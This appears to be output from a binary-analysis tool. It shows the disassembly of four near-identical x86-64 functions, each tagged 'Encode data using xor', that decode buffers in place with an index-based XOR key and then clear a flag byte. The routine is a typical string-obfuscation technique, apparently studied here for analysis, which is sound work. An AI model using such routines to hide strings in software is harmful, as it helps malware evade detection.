Disassembly:
cmp byte [rcx + 0x58], 0
je 0x140084623
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x57
jb 0x140084610
mov byte [rcx + 0x58], 0
mov rax, rcx
ret

Function at 0x140084630
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xaf], 0
je 0x140084658
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xae
jb 0x140084640
mov byte [rcx + 0xaf], 0
mov rax, rcx
ret

Function at 0x140084660
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x76], 0
je 0x140084683
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x75
jb 0x140084670
mov byte [rcx + 0x76], 0
mov rax, rcx
ret

Function at 0x140084690
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x60], 0
je 0x1400846b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5f
jb 0x1400846a0
mov byte [rcx + 0x60], 0
mov rax, rcx
ret